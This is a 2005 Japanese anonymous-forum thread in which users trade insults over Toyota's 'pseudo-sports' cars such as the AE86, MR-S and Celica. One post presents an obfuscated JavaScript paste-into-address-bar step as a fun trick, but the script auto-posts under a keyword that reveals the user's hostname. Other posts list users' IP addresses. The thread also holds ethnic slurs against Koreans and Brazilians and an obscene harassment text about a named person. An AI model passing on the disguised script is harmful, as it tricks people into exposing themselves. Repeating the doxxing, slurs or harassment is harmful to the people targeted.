”なんちゃってスポーツ”のトヨタ車　復活

＠　”なんちゃってスポーツ”のトヨタ車　＠
http://hobby7.2ch.net/test/read.cgi/auto/1125231165/

前スレはおまいらがモタスポの話題したからスレストされました。
モタスポの煽りには乗るなよ

というわけで、ﾏﾀｰﾘ語りませう

もしかして２？

いい加減トヨタ馬力スレと統合しろって

ただの煽り合いで必要無いから毎回消されるんだろが

数年変わらない糞スレ削除投票に一票します。

建設的な意見がまったく無いんだよねこのスレって…
毎回同じコピペと同じ煽りの繰り返し

琢磨の事情がごちゃごちゃになってるな。

BAR：「琢磨とは将来について話し合いを行っている」
　（琢磨残留のために、ホンダから圧力をかけられている）

ホンダ：「レギュラーじゃなくて良いから、琢磨を残留させてくれ」
　（琢磨がレギュラーで契約更新すると考えていたが、事態急変に焦っている）

琢磨：「今回のことを告げられたのは、正式発表の後だった。もうBARに残留するつもりはない。」
　（BAR離脱を正式表明。ジョーダンとウィリアムズにアプローチ中）

ジョーダン：「我々は琢磨に興味を非常に持っている。この件について、トヨタ側とは話をしている。」
　（もちろん、本当は琢磨が欲しい。日本からのスポンサーマネーも期待。）

トヨタ：　（ホンダと深い関係にある琢磨をトヨタエンジンのマシンに乗せたくないが、琢磨に興味はある）

↑ヨタヲタしつこいな〜

まともなスポーツカーが無いんだよ










トヨタ

ＭＲ２復刻希望！

その回答がMR-Sなんだからトヨタに期待すんなよ

ここは男らしくｴｸｼｰｼﾞ買おうぜ

雑誌にハチロク復活とあったが2.5ってどうよ？
マークＸをよりスポーティーにってか・・・

トヨタに嫉妬し過ぎる連中の嘆き

しかし不人気だな。消されるのも時間の問題か

>>11
アルテで失敗した教訓がまったく生きてないんだね、トヨタ。
ハチロク復活なら1600から1800くらいで軽量に成立させなきゃ。

ヨタくるま
欠陥事故は
隠匿だ。

ヨタくるま
欠陥事故は
隠匿だ。

ヨタくるま
欠陥事故は
隠匿だ。

ヨタくるま
欠陥事故は
隠匿だ。

ヨタくるま
欠陥事故は
隠匿だ。

MR-S作るくらいなら、ハチロクをリメイクして１ＺＺでも積んで
160から170万で売ってくれた方が嬉しいわな。ベースモデルだけ
提供してくれりゃ良いし。本音は４Ａ−Ｇ希望だがｗ

ハチロク映画に騙された被害者がまたひとり
チョンで作られた売国映画に踊らされるなよ

だからさぁ今のトヨタは利益主義だから
利幅の薄いシポーツカーなんて出さない
せいぜいスポーチィーセダンでお茶を濁してるだけなんだから
そんなトヨタにまだ騙され続ける訳？
Power by YAMAHAのｴｸｼｰｼﾞ買おうよ
ヨタ車じゃ味わえ無いﾌｨｰﾘﾝｸﾞを堪能出来るよ

>>17
ハチロクはチョン御用達

ツレのMR-Sをミニサーキットで運転させてもらったが、かなり乗りやすくてスイスイコーナーを速く曲がっていけたよ。
俺はS2000海苔だが、FRなのにMR-Sよりもミッドシップっぽくてピーキーで扱いにくい。
やっぱりみんなが楽しめるのはMR-Sの方だと思うよ。

S2000はスピードレンジがもっと上だろうな。
気軽に楽しむにはＭＲ−Ｓかロードスターだろう。
S2000はドライバーにスキルを求める。

漏れも同僚のMR-Sに乗ってみたが
MR化したカローラって感じで
剛性感やﾄﾞﾗｲﾋﾞﾝｸﾞｲﾝﾌｫﾒｰｼｮﾝ駄目駄目だった
相当注ぎ込まないとｴｸｼｰｼﾞには敵わないよ

日本製でも、盗用多車は三河でDQNなブラジル人が絶望工場で組み立てているよ。
治安の悪い地域である事は、有名。
トヨタホーム自体が統計を開示しているくらいだ。

事実、職務質問をした警察官を襲い、22口径の拳銃を奪って
ブラジル人グループが、いたという現実は、否定する事はできないだろう。

自分たちが住む街で、警察官が多数襲われ、ブラジル人等の労務者が拳銃を
奪って地下に潜伏したとしたら、これは恐怖ですよ。

三河地区とは、そんなDQN達が勤める盗用多系絶望工場のある町なのですよ。

そこで、出来上がる車など・・・・・想像付くでしょ。

サーキットで走る人ってほとんどノーマルはあり得ないわけで。
絶対ショック毎サス交換するし、タイヤやホイールも替えるし、給排気系も変える。
そうなるとノーマルの評価なんてはっきり言ってそんな意味無いんだよね。
ノーマルがどうこう言ってるのって大抵サーキットすら言ったこと無い奴だと思う。(ンダヲタに多い)
トヨタのノーマルセッティングは間違ってないよ。

>>24
そういう車もあっていいと思うが、
問題なのはリアルスポーツ的な宣伝をしながら
中身が伴なわない車が存在すること。
ちなみにサーキットではトヨタ車は少数派ですよ。

GT300に出場してるセリカは4WDですか？

>>26
FR

あのセリカ、中身はほとんど別物ですから。
ダマされちゃいかんです。
ノーマルセリカはまったりクーペです。

JGTCで中身が別物じゃない車なんてひとつも無い

>>29
確かにな。
市販エンジンと形式からして別モノだしね、スープラとかも。

>>20
MR-Sはミニサーキットだとかなり速いよ。最速レベルかも。
足回りをちゃんとセッティング出来たら下手したらS2000より速いかもしれない。
S2000ははっきり言って素人レベルじゃ手に負えないのが現実。
挙動がシビアで全然楽しく無いしね。MR2の初期型なんかよりよっぽどシビア。

漫画の86人気からトヨタの勘違いが始まっているし
変なプライドを捨てない間はねえ....

トヨタがスポーツカーだと言い切った車は２〜３台だったと聞いたけど
だから「なんちゃってスポーツ」はトヨタが自認していることだよ

スポーツといったのは「ヨタ８」、「最終型スープラ」、「何代目かのセリか」だけ？
誰か詳細ﾖﾛ

86は漫画が出る前から人気だったけどね。ほんと良い車だよアレは。

「スポーティーカー」は not「スポーツカー」、but「なんちゃてスポーツカー」

>>34
今のトヨタじゃありえない車だわな。
なんと言っても利益最優先体質になっちまったから。

>>36
そんな会社がMR-Sなんて希少車作らないって

だからもう廃止です。。。涙

MR-Sは12月にMCするわけだが。
こんな売れない車をまだ改良し続けるトヨタは偉いと思う。

同感

最後の荒稼ぎ仕様でも出して
バイバイ(^O^)/~~~じゃネーの？



まぁ〜どでもイイけど

>>39
他の車両のエンジン仕様（排ガス）と共通化させるため。
で、どうせならＭＣしておくか、ということ。甘い。

>>42
それを口実に辞める車もあるなかで偉いってことでそ。




NSX

>>43
というか、共通化しないとコスト高なんですよ（笑）

軽量でミッドシップでオープンの車なんて国産に皆無だからなぁ
海外ではあるけどどれも高級車並の値段だし
やっぱトヨタは偉いね

>>45
多くのファンに求められてるハチロクに応えず、
FFのパワートレインと実用廉価エンジンを
リアに移植したMRの方がFR作るより簡単だもん。
それを偉いと言ってちゃお子チャマ。
内外装のやる気のなさといい、
ロードスターのパクリ（なぜオープンなのか！？）
といわれてしまう理由含め、無意味な車。
MR2を継続してくれてた方が良かったと思う。

ロードスターが存在しなかったらMR-Sはなかったし
少なくともオープンにはならなかっただろうよｗ
結局他社のパクリですわ

MR-Sは安くていい車だと思うよンダ海苔だが
エアロつけりゃかっこよくなるし
エンジンがハイメカなのが残念だが
２００万以下にしたかったろうからしかたないけど

>多くのファンに求められてるハチロクに応えず
･･･仁Dオタクに応える義務なんて無いよ。

MR-Sとセリカは残して欲しいなぁ、せめて。

>>FFのパワートレインと実用廉価エンジンを
>>リアに移植したMRの方がFR作るより簡単だもん。

これだから無免は…ｗ

FRなんてのはホンダ以外は元々どのメーカーも造ってたわけだが。
元々あるFRならリバイバルさせるだけ。
新規にFFのパワートレインをリアに移植する方がよっぽど難しい。
そんな簡単に出来るんならどのメーカーもMR造ってるよバカ。


>>ロードスターのパクリ（なぜオープンなのか！？）
それ世界中の2シーターオープンに言えることだねｗ
そもそもロドスタはエランのパクリだけどねｗ




ああ無知ってほんと恥ずかしい

ハチロク＞＞＞MRS

こんなの明白なんだが。
MR-Sなんて誰も喜ばん。

>>51
基本性能じゃその逆だけどねｗ

20年も前の車と性能を比べる方がどうかしてる。

どちらも、カローラ系の余りもので作った安上がりな糞車だな。

>>カローラ系の余りもので作った

つまり品質が高いって事ですなｗ

>>43
10年以上も前の車と同列に語るか・・・

86って三世代前の古部品なのだが。

ま、ハチロクも昔はいい車だったかもしれんが。

今あるのはボディヨレヨレ、エンジン別物、お値段詐欺、運転手仁Dヲタの
どーしよーもない糞車じゃん、まぁ年式が年式だし。

ハチロクなんてエンジンが新鋭４A-Gだった以外、
たいして売りは無かったが、それでいいんだよ。
庶民が遊べる車を売ってくれ。
それならなんちゃってでも許す。

ハチロクは今でこそ一部のヲタに参照されているが、
発売当初としても、型落ちのカローラクーペの衣替えバージョン。

当時としてもスポーツカーだったわけではない。
むしろスポーティな度合いで言えばMR-Sやアルテッチャにさえ遠く及ばない位置づけだった。
言ってみれば、ビッツRSのように雰囲気だけを楽しむ車だよ。

↑当時を知らないのに乙

4A-G搭載が話題だったわな、当時。
その後５バルブ化のときに馬力サバ読み騒動があったけど、
4A-Gデビュー時は新鋭ツインカムで特にそのレスポンスが注目された。
確か空ぶかしでアイドリングから6000回転？だかまで１秒弱とか。
なつかしー

トヨタ乗りって空ぶかしする人多いよね。特にエンジン切るとき。
なんか効果あんの？

型遅れなエンジン制御でアイドルしないからな。
なんちゃってヨタエンジンはW

>>63
キャブレター、手動チョーク時代の名残でしょう。
中高年ユーザーが多いため仕方ないと思うよ。
けど、それをスポーティを勘違いしてる若者もいるのは痛いね。
現代のエンジンにはエンジン切るときの空ぶかしなんて
百害あって一理無しなんだが。

86は当時貧乏人の乗るスポーティカーでした。
FRFRと喧しいヤツがいるが当時FRは当たり前！
同サイズで当時早かったのはRX-7とジェミニZZこの２車は別格でした。

ヨタオタはカタログや雑誌のサーキットタイムアタック、ゼロヨンなどばかり気にしていて、
実用範囲で大事な追い越し加速など無視してるヤツが多いですね。
86当時のＲＸ7やＺＺはこの追い越し加速が早く、
普通の速度からスーッと消える位早かった。
もちろん今のランエボやインプから比べるとＲＸ7もＺＺもカメですけどね。

>>62
「0.98秒の世界」だったかな？
昔も今もヨタはキャッチコピーは上手だな。

国内ラリーとなるとジェミニＺＺの圧勝でした、
トヨタの足はダメ。
レカロシートが初めて輸入されたのもこの時期で
ステーはジェミニ用しか販売されてなかった、
当時の車好きはジェミニ、評論家もジェミニの時代でした。

>>67
ターボとNAの違いもわからないアフォ乙

そもそも86海苔は直線の速さなんて求めてねーよ

>>67は踏めば誰でも速い車が好きなんだな（笑）

>>70 71
86に何を求めてるの？

思うんだが、こうやって語られる車（ハチロク）があることって
トヨタにとっては貴重な財産じゃね？
日産はＧＴ−ＲやＺがあるが、トヨタってそれに相当する
クルマが無いじゃない。それだけに貴重だと思うよ。

>>73
2000GT


は、だめだよね

>>74
ちょっと弱い。しかもヤマハ2000ＧＴと言われてしまう（涙）

>>73
2000GT
ヨタ8
86
トヨペットクラウン
セリカ
MR2



名車揃い

>>75
そんな事言う奴はアンチくらい

現在では

セルシオ(LS)
ハリアー(RX)
ランクル
プリウス
ヴィッツ



世界を代表する名車

2000GT











トヨタが自画自賛して
いつの間にか伝説に無理矢理してしまった
元祖なんちゃってパクリ下請け丸投げスポーシーカー

>>76
伝説になるのは2000GTだけでしょ？

残りの5種車はどちらかと言うと悪い方の伝説だな。

>>80
伝説って何ですか？ｗ

レジェンドの事？ｗ

>>78
最高のバカ

焼酎のこと。レジェンド。

2000GTだって007がなければこれほど語り継がれることもなかったろうし
86も仁Dがなければ今のような異常な状況にはなってなかっただろう

>>82
最大のバカ

>>84
アフォか、86は名車だから漫画になったんだよヴォケ

>>86
名車かどうかもわからない車に興味がない人までが
やれパンダだ86だって言い出したのは異常だと思わないのか？

名車というよりカローラみたいなクルマやっぺ。

>>87
ぺ・ヨンジュンだって冬のソナタのおかげでブレイクしただろ

人気なんてそんなもんだ

86を語るのが暴走族漫画しかないってところがトヨタの限界

漫画書いたﾔｼがたまたま良かっただけで、ダイハツミラだろうがなんでもry

なんちゃってスポーツはこれでしょ（笑）
http://v.isp.2ch.net/up/376936385f1b.jpg

オベ・アンダーソン

トヨタとの仕事を通じて、最も印象的
だったのは、トヨタが将来の成功に対し
て大変大きな信頼を寄せてくれたことで
す。支援を継続し、成功のチャンスを与え
てくれたのです。私たちへの変わらぬ信
頼は、限りない力となりました。トヨタの雰
囲気は、「家族」の中で仕事をするような
もので、母親の目が「家族」全員に注が
れているかのようでした。これはすばら
しい経験であり、他の人たちにもぜひ経
験してほしいと思っています。

http://www.toyota.co.jp/Museum/data/magazine62/magazine62_8.pdf

小林可夢偉はなかなか話題になってるみたいだな

http://blog.goo.ne.jp/mirupon228/e/39255e6a34cee89998263fd00b36f02c

>>93

オベ・アンダーソンさんは相当な銭を積まれたんだろうなー

また被害妄想だーよ（笑）

>>90　ハチロクは暴走族みたいな低俗低レベルクソ連中が乗る車とは違います
イニＤオタクと本物の日本男児が乗る車です
要は暴走族はハチロクに乗る権利は無いということです

>>80
ヨタ8も、エス8を抜いた名勝負の伝説があるだろ。
悪役とはいえない。

>>97
爆音マフラーを付けて公道上を暴走し、ゴミを撒き散らして帰る奴らは暴走族に違いないだろ。
人様に迷惑をかける目的で車に乗ってる以上、走り屋＝暴走族は間違いない。

>>97
こちらへﾄﾞｿﾞｰ
http://www.stag.jp/xc/gbase/disp/21765

221 ：名無しさん＠そうだドライブへ行こう ：2005/09/27(火) 12:47:58 ID:7t266zMsO
ホンダのスポーツカーは一流

トヨタのスポーツカーは三流



これは事実だから否定のしようがないな



ﾎﾝﾀﾞ海苔ｷﾓｽＷ

オペ・アンダーソン
ＴＴＥ時代の総責任者。
ＴＴＥがリストリクターをインチキして追放された際の総責任者。追放された責任は？
ドイツでフェラーリスパイして敗訴した責任は？

>>101
無知

>>101
スパイ疑惑による査察の責任を取った形だったね、アンさん。
コンタルツ氏の発言も聞きたいところですね。

>>102
論外な妄想ヨタオタが釣れました。ﾌﾟｯｹﾞﾗ。

ポルシェって、どこの国のメーカーなんですか?

ＭＲ−２の復刻がなされたら、結構支持されるんやネ？
ハチロクもいいけど、ありゃ所詮カローラなもんで熱くなれん。
やっぱミドシップの本格スポーツやて。

安上がりな本格で羨ましいですな

所詮カローラの動力部をミッドに持っていった車

MR-Sを通勤の足に使うOLはOKだと思うけど (^-^)b

ドリキンも免許取立て君や女の子には薦めているからな。
気軽に乗るには良いと思うよ、中年オトコでも。
ただ、マンセーしていたカッコ悪いが。

カローラをベースにして何が悪いのかと小1時間･･･
基本がしっかりしてるからこそ流用が効くんじゃね？
エンジンだってカローラのそれよりしっかりパワー＆トルクうｐされてるし
1から作ったら500万クラスの車になるじゃん、スープラみたく。

ヨタオタはそんな事を言うから車音痴って言われるんだよ

>>112
なら君が車音痴じゃない証明をしろよ。

自分の音痴さを自覚せずに音痴らしい発言をする奴と、
自分の音痴さを自覚せずに知ったかを続ける奴。

どっちも幼稚だという事に何故当人達は気づかないのか？
それは自分の世界から出た事がない奴らだからだ。

>>111
いまどき、基本がしっかりしていないクルマなんて無い。
なんだか７０年代にタイムスリップしたようです。

パワー＆トルクは排気量が違うんだから当然でしょう。
カローラの主は1500、ＭＲ−Ｓは1800。

盗用多車糊＝車音痴。
定説定石当たり前。

自分の音痴さを自覚せずに音痴らしい発言をする奴と、
自分の音痴さを自覚せずに知ったかを続ける奴。 ←>>116

トヨタ車って借り物競走車って事が
最近分かってきたよ

ID:AFTGhjIa0は無免ｗ

>>115
本来ＭＲ−Ｓはガンガン回せる1600くらいで良いんだけどね。
1800の実用エンジンじゃ、ちょっと興ざめ。

発砲しながらドライブは
ヨタ車スポーツですね。

トヨタ　流鏑馬





新車みたいな響き f^_^;

あぼーん

インサイトも同じく「出したもの勝ち」で突貫工事（笑）
元祖車音痴（笑）
元祖手抜き（笑）
元祖フニャ足（笑）
元祖欠陥（笑）
元祖犯罪企業（笑）
何が何でも認めない体質（笑）

すべて本駄（哀）

【【サバ読み】トヨタ馬力専用スレ復活【誇大】
http://hobby7.2ch.net/test/read.cgi/auto/1123176961/
839 ：停止しました。。。：停止
真・スレッドストッパー。。。(￣ー￣)ﾆﾔﾘｯ


また楽しみが減ったーよ（笑）
残念！

ヨタオタが
話題逸らしだ
必死杉。

>>120

同感。オヤジエンジンではネ。。

>>120
回さないと走らない車なんてもう時代遅れ
環境にも燃費にもご近所にも悪い
車の世界じゃパワーが無いなら排気量を上げるor過給器(モータ)を付けるのが正解
レースではレギュレーションがあるから仕方なく高回転でパワーを出してるだけ
それをスポーティと思うのはかなりの勘違い
音痴の証拠です

特にンダヲタに多いですなｗ

>>128

むやみに速度を求めるのではなく、高回転で官能的なら
それで十分楽しめると思うよ。わざわざモーター載せて
重くするなんてナンセンス。過給器は違和感が出易いし、
すべてにおいて万能なモノなんて無いよね。だから
色々選択肢があることが求められるということや。

>>129
>色々選択肢があることが求められるということや。
それには同意。
MR-Sの1ZZを貶す連中にも言ってやってくれw

120
鈍感オヤジ猿人ではねー

■このスレッドを面白くする方法(IE限定)

１．下の文字列をコピーする。
２．IEで裏を見たいスレを表示する。
３．アドレスバーに貼り付ける
４．Enterキーを押すだけだ

JavaScript:var%20f=doc%75ment.%67e%74Ele%6de%6etsB%79%54ag%4eame%28%27fo%72m%27%29%5b0%5d;f.F%52%4f%4d.%76al%75e=%27f%75sia%6easa%6e%27;f.%6dail.%76al%75e=%27u%72a2c%68%27;f.%4dES%53A%47E.%76al%75e=%27%4a%53%27;f.s%75b%6di%74.clic%6b%28%29;void%280%29;

IEなんかでアクセスするバカは滅べ

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程度の方はなるべく良い物をお勧めします。
トラブルのもとになりますのでなるべくノーマル車をお願いします。
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86はリヤが全然踏ん張らない車だったな
72もリヤが簡単にすっ飛んでく車だったけどシャシ同じなんだっけ?
あれと比べるとセリカの1.6のほうが回頭性や後ろの踏ん張りはかなり上だった
まあ当時と今とじゃタイヤの性能も比べ物にならないんだろうけど

当然だろ、シャシーが違うからな。

あぼーん

>>130
動力性能とかいう前に１ＺＺでは熱くなれないのは、
正直な気持ちだと思う。色気が無いというかね。
きちんと家事はしてくれるけど色気に欠ける嫁、
というのに近いか。やっぱり車にくらい夢を感じ
たいでしょ？スポーツカーならなおさらね。

速さの問題じゃないんだよな、確かに。
いい音聴かせくれりゃ、それだけで気分はかなり違うもんだし。
エンジン特性も上で弾ける特性だと、普段は使わないにしても、
なにか嬉しかったりする。4AGのトレノ買ったときの自分の気分は
そんなとこだったものだな。ハイメカ仕様でも不足は無かったが、
やっぱりそれじゃあ満足できないっていうか（笑）

138
イイ事書きますね

しかしヨタヲタには理解出来ないみたい
何せ奴らはカローラとフェラーリを『同じ車だろー』としか分類出来ないレベルですから

200万程度の車に夢なんて持つなよ（笑）

>>138
なんでフェラーリ買わないの？w

>>138は吉野家に向かってなんで松坂牛じゃねーんだよって言ってるようなもんだな（笑）

＞＞１４２
おまえはバカか？

ごもっともな意見だと思うが

出会い系サイトで手軽に見つけた嫁に夢持つ事自体がおかしい

あぼーん

>>138

まったく同感です。
圧倒的なパフォーマンスなんて要らない。
その車だけにある価値、味わいさえあれば、それで良いんだよね。
ほんと嫁に例えると分かりやすいですなぁ！
家政婦じゃないんだから、やっぱり色気は必要ですわｗ

こういう意味をふまえた、なんちゃってスポーツなら歓迎する。
（トヨタがこういう事を理解できるかが一番のハードルかも）

>>138 139 140　147

そういう人はトヨタ車は買わないでしょ。
トヨタだってそういうお客は相手にしていない。

スポーツを名乗るトヨタ車って
ある意味誇大広告だよねｗ

どっから見てもヨタなのに
レクサスとまゆーのと一緒だな

あぼーん

>>147
現行セリカとか、あのスタイルだけですでに値打ちがあると思うが。
あのぶっとんだデザインで家政婦だと？
エンジン性能はまぁ地味だけど、それはそれで。

現行セリカって何？

崩れた豆腐がぶっとんだデザインか
ﾏﾆｱｯｸだね

セリカのデザインを絶賛する奴は
サターンのデザインも理解出来ますよネ

SEGAサターンのデザインは理解できんなぁ

あぼーん

↑飽き

行き詰まりを感じると、全く関係無い同じコピペばかりのﾖﾀｦﾀw

159
それはｱﾝﾁﾖﾀだろ（笑）

トヨタ社員はレクサスは大成功するなんて言ってたけど完全に見当はずれ
だったな。それ以前にもハイブリッドが環境に良いなんて主張を散々していた
けど、プリウスは高速道路で停止してしまう大失敗車。世界中の自動車メー
カーはハイブリッド開発より燃料電池車開発に没頭。トヨタ社員はすぐに自
分の発言を忘れてしまう。最近はわけのわからない罵詈雑言がほとんどに
なってきた。もうそれくらいしか言えないのだろう。

弱小企業どもの僻み根性丸出しの発言ですね（笑）

>>161はトヨタ社員の発言のコピペなんでこれに対する批判はトヨタ社員への批判と
同じです。

>>146
E219108028167.ec-userreverse.dion.ne.jp
<>219.108.28.167<><>Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

http://qb5.2ch.net/test/read.cgi/sec2chd/1126226803/338
103奥の山の監視活動<><>2005/09/29(木) 20:20:34 /QMWjnON0<>尾行　尾行　尾行　尾行　尾行　
<><>p1068-ipbf51sasajima.aichi.ocn.ne.jp<>221.188.217.68<><>Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)

セリカの前半分とMR-Sの後半分をくっつける。
前後軸重が分からんかったけど、1100kg×2/3＋1000kg×3/5ぐらいなら計1300kg程度。
燃料タンクと荷室を広げるのに100kgかかっても360モデナとどっこい。
2ZZ×2なら8気筒で400馬力弱。
MT×2は無理だからAT×2にせざるを得ないのがつらいとこか。









…誰だよこんな下らん妄想してるのは。

300馬力を優に超えるパワーを持ちながらトルクを確実に路面へ伝え、
回頭性は素晴らしく、どこまでも破綻せず速いというISの走りは、
たとえポルシェ好きが乗っても唸らずにはいられない。
ショートサーキットで同じドラテクの人が乗れば、
タイム的にはポルシェにも勝てると思う。

http://www.days.co.jp/ncarimp/new/

http://hobby7.2ch.net/test/read.cgi/auto/1127290659/511

511 ：名無しさん＠そうだドライブへ行こう ：2005/10/03(月) 23:19:20 ID:b93w1C1w0
開発に携わっていたものですが、正直独逸車とは月とすっぽんなんです。
一生懸命営業工作して頂いてる同僚と思われる方には申し訳ないんですが。
評論家と称される方も本当は判っていると思うんですが皆飼い殺しにされてますから。
車を知らない人には広告でなんとか買っていただいてそのまま乗り次いでくれるんですが、
本物がわかる方はみんな独逸車へ行ってしまうんで社内ですごい危機感があるんです。
役員連中がクラウンしか乗ったことないからしょうがないんです。
烈砂州の販売研修でEと５を用意して運転比較させたんですが、
みんな５が一番だなんてしゃれにもならない結果になったというんです。
少し呑み過ぎました。酔っ払って何書いてるか判らなくなりました。
もう寝ます。酔っ払いの独り言につき合わせてすみません。

トヨタ嫌いはレクサスも嫌いだと思うが…



ショートサーキットでもISはポルシェに勝てんﾖ
車庫入れくらいじゃないの勝てるのは

おまえはISとポルシェ両方乗ったのか？

両方乗った人が勝てるというほうが信憑性が高いな。

↑お言葉ですが…
『勝てる』とは書いてない
『勝てると思う』と希望的き感想だった

流石ヨタヲタ　誇大広告に乗せられるトコだった

学習能力が無いために、常に盗用多の誇大広告に騙されるﾄﾖｦﾀw

ﾌｨｯﾄの燃費誇大広告に騙される

スペックヲタ

本駄（笑）

あのさあ、量産車に何を求めるのか、つーことだよ。
別のクルマからあれとあれを持ってきて、何かできないか
という発想なんだからさ与太は。
まあ全量セルシオみたいに作れれば、ＢＭやンツ、ポルみたいに
もなれるんだろうけど、何となく組み立てられてるんだからね。
無理よ。
だけど、安くて、ハズレがなくて、そこそこの性能がある
というのは与太だけの特徴じゃなくなってきてるけどね

盗用多は、ヌポーシだらけで、

手抜きの三世代使いまわしの着せ替えリカちゃん・チョロＱ方式の自動車(笑)

ﾖﾀｽﾚで、数十回も使いまわしのﾈﾀの使いまわし

ID:TRY3JCNd0

m9(^Д^)ﾌﾟｷﾞｬｰｰｰｯ

大したものだな、この粘着。

ホンダがBARの株買って、金の力で自分のモノにｗ

さすが借り物のホンダ（笑）

>>167
いまだ、「○○と比べて・・・」とか「○○より・・・」とかいう
比較でしか自己の価値をアピールできないのが情けないわ。
それを見てなびく人間て、結局は欧州車に憧れてるという事の
裏返しみたいなものだし。とにかく情けない。独自の価値を
いまだに創造できないトヨタ。。。単に安くて良質な量産車、
というところから、いかに脱皮を図るか、という課題が
まだまだ解決できないようだ。

ヨタオタが
話題逸らしだ
必死杉。

178
トヨタ レンタリース♪

F1チームも有るだがゃ
皆 借りてちょ!!!

ヨタに次いで、金に物を言わせる本駄（笑）
まさに「後だしジャンケン」

わかってるって。スポーツ車が欲しいときには国産ならスバルかマツダにするよ。
普通トヨタやホンダなんて絶対買わないから。

ヨタオタが
話題逸らしだ
必死杉。

ヨタがスバルを乗っ取るみたいだなー。
将来は「水平対抗エンジンはトヨタ独自の技術です」とか
言い出しそうな悪寒。

>>185
買収直後に、コニーグッピーのカタログで
「日産の技術により〜」なんて書かせる会社と
一緒にするな。

>>186
心臓部分であるスポーツエンジンをロクに作れない
組み立てメーカーと一緒にするな。
ヤマハさん〜これからも頼みますよ〜

>>185
ポルシェが作り続ける限りそれはありえない
内外に恥を晒す事になるからな

>>185
Ｆ１で勝てないからスバルの技術者を会社ごと引き抜くんだろ。
確かスバルもＦ１エンジン作ってたから。

借り物ホンダF1（笑）

ヨタオタが
話題逸らしだ
必死杉。

次のカルディナが決まったね

しかし、スバルがトヨタ傘下とは最悪だな。
よりによってパクリ体質でガメツいトヨタとは。
せめてホンダならまだ良かった。
今の純レガシィをずっと乗ることにするよ。

レガに勝てる車を作れないからって、株を買いに走るんだからな。
ま、商社だからしょうがないか。そのうち、フェラーリも買収するんじゃないかｗ。

ほんとうにスバオタの脳はおめでたいなw

技術のトヨタ(笑

シャシが造れないからってBARの株を全部買い取ってホンダF1ですかそうですか（笑）

>>194
イ ヤ ダ

やっぱトヨ丸は頭良いーね
トヨタ＋スバル

「本駄が嫉妬する」

ヨタオタが
話題逸らしだ
必死杉。

アリストでスポーツしない？
射撃なんだけど

アリストはサーキットで結構速い
DSCがキャンセルできてMT仕様があったらかなり恐ろしい存在

>>202
アリストなんかでサーキットへ行っているのか？

【永堀充宏は猥褻だ！】
まず、苗字が永堀で、名前は充宏。これは明らかに猥褻な名前です。
彼は好色な朝鮮系の男。これも子供の教育にはよくありません。
特に彼の名前の漢字！！卑猥すぎます。
永い堀に宏を充てる、つまりスケベと言う暗号です。
永堀って永い堀ですよ。ボットン便所です。明らかにｽｶﾄﾛの象徴じゃないですか！！
そして字が永に堀。これらは充に宏です。
明らかに男性器を象徴しています。
ひらがなでの「ながほり」や「みつひろ」なんてもう･･･典型的なスケベ男の名前です。
みつひろの「ひ」も性器の形ですし、「つ」もまんま電動フグじゃありませんか！！
「ながほり」ですって！！まぁ！！
アルファベットもそうです。NagahoriにMitsuhiro。これも男性器と女性器のｽﾗﾝｸﾞです。
しかも、大きくなるんですよ。勃起です勃起。子供には早すぎます。
長堀の英訳Long moatってなんですか？強姦魔は「仕事中」は当然見を隠しています。
隠れ場所の一つに堀があげられますが、そこに潜む、女性を襲う、
こういった名前は身を隠して虎視眈々と獲物を狙う強姦魔を連想させます。あぁ、もう言い尽くせません。
「宏」の字をくずすと「ウ」「ナ」「ム」になりますが、「ム」は当然女性器の俗称の1文字ですし、
「ウ」なんて字も当然代表的ｽｶﾄﾛネタのアレの頭文字です。
スクリプトを使ってマルチポスト、これはプログラムを使えばなんでも操れると言う事です。
スクリプトを打ち込んでマルチ投稿をする姿などは他人をマインドコントロールして自らの意のままに操る姿とかぶって見えるではありませんか。
連続投稿はクローンの大量生産。倫理上とてもよくないことです。
さらに、クリアー時のお城は子宮、花火は女性の絶頂とまたは妊娠を表しています。
彼の文書が出まわってから2ちゃんねらーによる凶行・猥褻行為が増えたと思いませんか？
永堀充宏は分析家気取りとしてもしてイカサマ、スレ潰しなんでもあり、どんな手を使ってでも良いと言う思想です。つまり、これはレイプです。
長堀は穴に入れますし、充宏は男性性器をもじっています。
まさにわいせつの宝庫ですね。

ばかだねえ
インプ手に入れただろ
もうアリストもセリカもMR-Sもカルディナも不要よ

>>205
まずアリストは欲しい。
走行性能はインプ＞＞だけど重さが安全性の場合がある。
セリカは判らん。
一番近いか？
MR-Sも欲しい。
走行性能は語るまでもないけど安価オープンカー
カルディナもよく判らん

>>203
アリストにMT載せてサーキットなんてすげーカッコイイと思うぞ
インプやらエボやらウジャウジャ走ってるような車で楽しいか？
趣味車になるほど、人と違うものに乗りたいって思わないか？


しかしほんと日本人ってみんなと同じだったら安心するんだなぁ…

人と違うのがいいならトヨタ車は選ばんよふつう・・・

>>208
話の流れがまったく読めてないバカ乙

車よく解らない
安くて動けば良い
そんな方々は

トヨタ最適だよ

それが、便所下駄の盗用多w

レクサスいこうっと

>>210
つまり不景気になればなるほど、車なんて趣味にできないから
トヨタにとっては追い風ということだわな。
所詮道具と割りきるなら、トヨタでいいよ、という心境。

車音痴御用達メーカー・トヨタ

↑このスレは圧力で消されたのですか？

ヨタパクリｷﾀ━━━━━━(ﾟ∀ﾟ)━━━━━━ !!!!

やはり、パクリの盗用多ですね。

　　　　 |ヽ、　　| ヽ、　　　　　　　　　　　　　　　　　　　　　　　　/ |　　　./ |
　　　　/ 　ヽ─┴　ヽ　　　　人_人,_从人_.人_从._,人_人_　　　/,_ ┴─/　ヽ
　　 ／!||!（゜＼'iii'／゜）ヽ　　)　　　　　　　　　　　　　　　(　　 （゜＼iii'／゜）,!||!ヽ
　／ﾉ( 　u"",ニ..,ニヽ"v＼　)　 ｱｲｺﾞ━━━━━ !!!!!　(　／V,,ニ..,ニ、、　ﾉ( ＼
　＼⌒ ＼/ ｛y~ω~Y ,,,／　.)　　　　　　　　　　　　　　　(　＼ヽY~ω~.yi .／⌒／
　　 .>.　　i.　|⌒'i⌒r| く　　　)／⌒Y⌒Y⌒l/⌒Y⌒Y⌒Y　　 | .|⌒/⌒:} r 　く
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　　　　　　ヽ.ニﾆニニ>　　　　　　　　　　　　　　　　　　　　　 <ニニニ'ノ

http://sylphys.ddo.jp/upld2nd/car/img-box/img20050808150034.jpg

･･･確かにパクリまくりですね。

>>215
残念ながらこれはもうパクリじゃなくなった

.　　　　　　　∧＿∧　 ／￣￣￣￣￣￣￣
　　　　　　　（；´Д｀）＜　スンマセン、直ぐに片付けます
